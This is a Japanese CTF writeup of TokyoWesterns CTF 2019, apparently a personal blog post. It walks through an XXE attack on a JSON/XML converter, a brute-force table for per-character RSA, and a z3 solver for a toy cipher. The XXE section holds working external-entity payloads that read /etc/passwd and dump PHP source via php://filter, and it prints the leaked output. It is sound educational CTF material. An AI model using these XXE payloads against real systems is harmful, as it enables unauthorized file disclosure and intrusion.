LoginSignup
3
0

More than 3 years have passed since last update.

TokyoWesterns CTF 5th 2019 Writeup

Last updated at Posted at 2019-09-02

チームnicklegrで個人参加。
217点で180位(1005チーム中)でした。

image.png

Welcome!!

フラグは TWCTF{Welcome_to_TWCTF_2019!!!} です。

TWCTF{Welcome_to_TWCTF_2019!!!}

j2x2j

JSON <-> XMLの相互変換をするWebサイト。
DB使ってなさそうだし、サーバのローカルファイル読めないかな。

<xi:include href="index.php" parse="text"/>

を投げると

"xi:include": {
    "@attributes": {
        "href": "index.php",
        "parse": "text"
    }
}

と返ってきた。includeはできなかったけど、@attributesが気になる。
ググると
https://www.ibm.com/developerworks/jp/xml/library/x-xml2jsonphp/index.html
https://gist.github.com/larscwallin/1375791/27987254ca81536ab8aaea77e74806ed6597092e
SimpleXMLというライブラリを使うとこうなるらしい。

SimpleXML Vulnerableでググると
https://github.com/ngallagher/simplexml/issues/18

よさげ。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///etc/passwd'>]>  
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nsshd:x:109:65534::\/run\/sshd:\/usr\/sbin\/nologin\npollinate:x:110:1::\/var\/cache\/pollinate:\/bin\/false\n_chrony:x:111:115:Chrony daemon,,,:\/var\/lib\/chrony:\/usr\/sbin\/nologin\nubuntu:x:1000:1000:Ubuntu:\/home\/ubuntu:\/bin\/bash\ntw:x:1001:1002::\/home\/tw:\/bin\/bash\ngoogle-fluentd:x:112:116::\/home\/google-fluentd:\/usr\/sbin\/nologin\n"
}

きたきた。
ディレクトリの存在判定にも使えるっぽい。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'file:///var/www/html/'>]>  
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:"
}

ディレクトリ・ファイルが存在しない場合はfailed to decode xmlが返ってくる。

/etc/nginx/sites-available/defaultを読むとphp使ってるのが確定。

root \/var\/www\/html;
...
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html index.php;
...
location ~ \\.php$ {
    include snippets\/fastcgi-php.conf;
    fastcgi_pass unix:\/var\/run\/php\/php7.2-fpm.sock;
}

けど/var/www/html/index.phpを読んでもfailed to decode xmlになる。
しばらく悩んで、読めてるけどPHPのタグのせいでXMLの文法エラーになることに気づいた。

https://www.slideshare.net/ebihara/phpcon-2013xmlphpvuln のp.32に便利なものがあった。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY internal SYSTEM 'php://filter/convert.base64-encode/resource=file:///var/www/html/index.php'>]>
<example index="123">
    <!-- SimpleXML didn't forbid external entity in xml elements-->
    <text>Example message:&internal;</text>
</example>
{
    "@attributes": {
        "index": "123"
    },
    "comment": {},
    "text": "Example message:PD9waHAKaW5jbHVkZSAnZmxhZy5waHAnOwoKJG1ldGhvZCA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOwoKZnVuY3Rpb24gZGllNDA0KCRtc2cpIHsKICBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsKICBkaWUoJG1zZyk7Cn0KCmZ1bmN0aW9uIGNoZWNrX3R5cGUoJG9iaikgewogIGlmIChpc19hcnJheSgkb2JqKSkgewogICAgJGtleV9pc19zdHIgPSBmdW5jdGlvbigkb2JqKSB7CiAgICAgIGZvcmVhY2goJG9iaiBhcyAka2V5PT4kdmFsKSB7CiAgICAgICAgaWYgKGlzX2ludCgka2V5KSkKICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgfQogICAgICByZXR1cm4gdHJ1ZTsKICAgIH07CiAgICAKICAgIGlmICgka2V5X2lzX3N0cigkb2JqKSkgewogICAgICByZXR1cm4gJ29iamVjdCc7CiAgICB9CiAgICBlbHNlIHsKICAgICAgcmV0dXJuICdhcnJheSc7CiAgICB9CiAgfQogIGVsc2UgewogICAgcmV0dXJuIGdldHR5cGUoJG9iaik7CiAgfQp9CgpmdW5jdGlvbiBqc29uMnhtbCgkb2JqKSB7CiAgJHJlcyA9ICcnOwogCiAgaWYgKGlzX2FycmF5KCRvYmopKSB7CiAgICBmb3JlYWNoKCRvYmogYXMgJGtleSA9PiAkdmFsKSB7CiAgICAgIHN3aXRjaChjaGVja190eXBlKCR2YWwpKSB7CiAgICAgICAgY2FzZSAnYXJyYXknOgogICAgICAgICAgZm9yZWFjaCgkdmFsIGFzICR2KSB7CiAgICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAgICRyZXMgLj0ganNvbjJ4bWwoJHYpOwogICAgICAgICAgICAkcmVzIC49ICI8LyRrZXk+IjsKICAgICAgICAgIH0KICAgICAgICAgIGJyZWFrOwogICAgICAgIGRlZmF1bHQ6IC8vIG9iamVjdCBvciBwcmltaXRpdmUKICAgICAgICAgICRyZXMgLj0gIjwka2V5PiI7CiAgICAgICAgICAkcmVzIC49IGpzb24yeG1sKCR2YWwpOwogICAgICAgICAgJHJlcyAuPSAiPC8ka2V5PiI7CiAgICAgICAgICBicmVhazsKICAgICAgfQogICAgfQogIH0KICBlbHNlIHsKICAgICRyZXMgPSAoc3RyaW5nKSRvYmo7CiAgfQogIHJldHVybiAkcmVzOwp9CgoKaWYgKCRtZXRob2QgPT09ICdQT1NUJykgewogICRqc29uc3RyID0gJF9QT1NUWydqc29uJ107CiAgJHhtbHN0ciA9ICRfUE9TVFsneG1sJ107CgogIGlmICghKGVtcHR5KCR4bWxzdHIpIF4gZW1wdHkoJGpzb25zdHIpKSkgewogICAgZGllNDA0KCc0MDQnKTsKICB9CgogIGlmICghZW1wdHkoJGpzb25zdHIpKSB7CiAgICAkb2JqID0ganNvbl9kZWNvZGUoJGpzb25zdHIsIHRydWUpOwogICAgaWYgKGVtcHR5KCRvYmopKSB7CiAgICAgIGRpZSgnZmFpbGVkIHRvIGRlY29kZSBqc29uJyk7CiAgICB9CiAgICAkZG9jID0gbmV3IERPTURvY3VtZW50KCcxLjAnKTsKICAgICRkb2MtPmZvcm1hdE91dHB1dCA9IHRydWU7CiAgICAkX29iaiA9IGFycmF5KCk7CiAgICAkX29ialsncm9vdCddID0gJG9iajsKICAgICRkb2MtPmxvYWRYTUwoanNvbjJ4bWwoJF9vYmopKTsKICAgIGVjaG8gJGRvYy0+c2F2ZVhNTCgpOwogIH0KCiAgaWYgKCFlbXB0eSgkeG1sc3RyKSkgewogICAgbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiAgICAkb2JqID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWxzdHIsICdTaW1wbGVYTUxFbGVtZW50JywgTElCWE1MX05PRU5UKTsKICAgIGlmIChlbXB0eSgkb2JqKSkgewogICAgICBkaWUoJ2ZhaWxlZCB0byBkZWNvZGUgeG1sJyk7CiAgICB9CiAgICBlY2hvIGpzb25fZW5jb2RlKCRvYmosIEpTT05fUFJFVFRZX1BSSU5UKTsKICB9Cn0KZWxzZSB7Cj8+CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5KU09OIDwtPiBYTUwgQ29udmVydGVyPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8dGV4dGFyZWEgaWQ9Impzb24iIG5hbWU9Impzb24iIHJvd3M9IjUwIiBjb2xzPSI4MCI+CiAgICA8L3RleHRhcmVhPgoKICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIGlkPSJ4MmoiIHZhbHVlPSI8LSIvPgogICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgaWQ9ImoyeCIgdmFsdWU9Ii0+Ii8+CgogICAgPHRleHRhcmVhIGlkPSJ4bWwiIG5hbWU9InhtbCIgcm93cz0iNTAiIGNvbHM9IjgwIj4KICAgIDwvdGV4dGFyZWE+CgogICAgPHNjcmlwdAogICAgICBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjIuMS5taW4uanMiCiAgICAgIGludGVncml0eT0ic2hhMjU2LWh3ZzRnc3hnRlpoT3NFRWFtZE9ZR0JmMTNGeVF1aVR3bEFRZ3hWU05ndDQ9IgogICAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICAgICQuZ2V0KCcvc2FtcGxlLmpzb24nLCBmdW5jdGlvbihkYXRhKSB7CiAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgIH0sICd0ZXh0Jyk7CgogICAgICAkKCcjajJ4Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgJC5wb3N0KCcvJywgewogICAgICAgICAganNvbjogJCgnI2pzb24nKS52YWwoKQogICAgICAgIH0sIGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICQoJyN4bWwnKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwoKICAgICAgJCgnI3gyaicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICQucG9zdCgnLycsIHsKICAgICAgICAgIHhtbDogJCgnI3htbCcpLnZhbCgpCiAgICAgICAgfSwgZnVuY3Rpb24oZGF0YSkgewogICAgICAgICAgJCgnI2pzb24nKS52YWwoZGF0YSk7CiAgICAgICAgfSk7CiAgICAgIH0pOwogICAgPC9zY3JpcHQ+CiAgPC9ib2R5Pgo8L2h0bWw+Cjw\/cGhwCn0K"
}

base64デコードすると

<?php
include 'flag.php';
...

flag.phpを同様に読むと

<?php
$flag = 'TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}';
TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}

real-baby-rsa

flag = 'TWCTF{CENSORED}'

# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

# Encrypt the flag!
for char in flag:
    print(pow(ord(char), e, N))

数学わからないマンだけど、1文字ずつ暗号化してるから全パターンのテーブル作って逆引きすればいい。

# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
E = 65537

tbl = {}

("!" .. "~").each do |e|
  enc = e.ord.pow(E, N)
  tbl[enc] = e.to_s
end

puts File.readlines("output").map{|e| tbl[e.to_i]}.join("")
TWCTF{padding_is_important}

Simple Logic

オレオレ暗号の平文・暗号文ペアをあげるから鍵を求めてね、という問題。

require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def encrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = (enc + key) & mask
        enc = enc ^ key
    end
    enc
end

def decrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = enc ^ key
        enc = (enc - key) & mask
    end
    enc
end

fail unless BITS % 8 == 0

flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)

STDERR.puts "The flag: TWCTF{%x}" % flag
STDERR.puts "Key=%x" % key
STDOUT.puts "Encrypted flag: %x" % encrypt(flag, key)
fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check

PAIRS.times do |i|
    plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16)
    enc = encrypt(plain, key)
    STDOUT.puts "Pair %d: plain=%x enc=%x" % [-~i, plain, enc]
end
Encrypted flag: 43713622de24d04b9c05395bb753d437
Pair 1: plain=29abc13947b5373b86a1dc1d423807a enc=b36b6b62a7e685bd1158744662c5d04a
Pair 2: plain=eeb83b72d3336a80a853bf9c61d6f254 enc=614d86b5b6653cdc8f33368c41e99254
Pair 3: plain=7a0e5ffc7208f978b81475201fbeb3a0 enc=292a7ff7f12b4e21db00e593246be5a0
Pair 4: plain=c464714f5cdce458f32608f8b5e2002e enc=64f930da37d494c634fa22a609342ffe
Pair 5: plain=f944aaccf6779a65e8ba74795da3c41d enc=aa3825e62d053fb0eb8e7e2621dabfe7
Pair 6: plain=552682756304d662fa18e624b09b2ac5 enc=f2ffdf4beb933681844c70190ecf60bf

加算とXORしかしてないので、何回やっても線形の演算になる。
なのでz3pyで解が出せるはず。

# coding: utf-8

from z3 import *

pairs = [
  [ 0x29abc13947b5373b86a1dc1d423807a, 0xb36b6b62a7e685bd1158744662c5d04a ],
  [ 0xeeb83b72d3336a80a853bf9c61d6f254, 0x614d86b5b6653cdc8f33368c41e99254 ],
  [ 0x7a0e5ffc7208f978b81475201fbeb3a0, 0x292a7ff7f12b4e21db00e593246be5a0 ],
  [ 0xc464714f5cdce458f32608f8b5e2002e, 0x64f930da37d494c634fa22a609342ffe ],
  [ 0xf944aaccf6779a65e8ba74795da3c41d, 0xaa3825e62d053fb0eb8e7e2621dabfe7 ],
  [ 0x552682756304d662fa18e624b09b2ac5, 0xf2ffdf4beb933681844c70190ecf60bf ],
]

s = Solver()

encs = [[BitVec("x[%d,%d]" % (i,j), 128) for j in range(765 + 1)] for i in range(6)]
key = BitVec("key", 128)

for i in range(6):
  s.add(encs[i][0] == pairs[i][0])

  for j in range(765):
    s.add(encs[i][j+1] == (encs[i][j] + key) ^ key)

  s.add(encs[i][765] == pairs[i][1])

r = s.check()
if r == sat:
  m = s.model()
else:
  print(r)
  exit(1)

print(m[key].as_long())

1時間以上かかったからバグってないか心配だった。

% time python3 solver.py
62900030173734087782946667685685220617
python3 solver.py  4615.08s user 54.83s system 98% cpu 1:19:03.29 total
require 'securerandom'
require 'openssl'

ROUNDS = 765
BITS = 128
PAIRS = 6

def decrypt(msg, key)
    enc = msg
    mask = (1 << BITS) - 1
    ROUNDS.times do
        enc = enc ^ key
        enc = (enc - key) & mask
    end
    enc
end

key = 62900030173734087782946667685685220617
enc = 0x43713622de24d04b9c05395bb753d437

puts("enc=%x plain=%x" % [enc, decrypt(enc, key)])
TWCTF{ade4850ad48b8d21fa7dae86b842466d}

Easy Crack Me

解けなかった。

angrにかけたけど解なし。コード内にstrchrがあるが、どうやらangrはstrchrを理解できないらしい。確かにSATソルバーに落とし込むの難しそう。
https://github.com/angr/angr/tree/master/angr/analyses/identifier/functions

jmpを書き換えてstrchrを使ってるあたりをスキップさせてみたが、うまくいかず。

他の方のWriteup

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0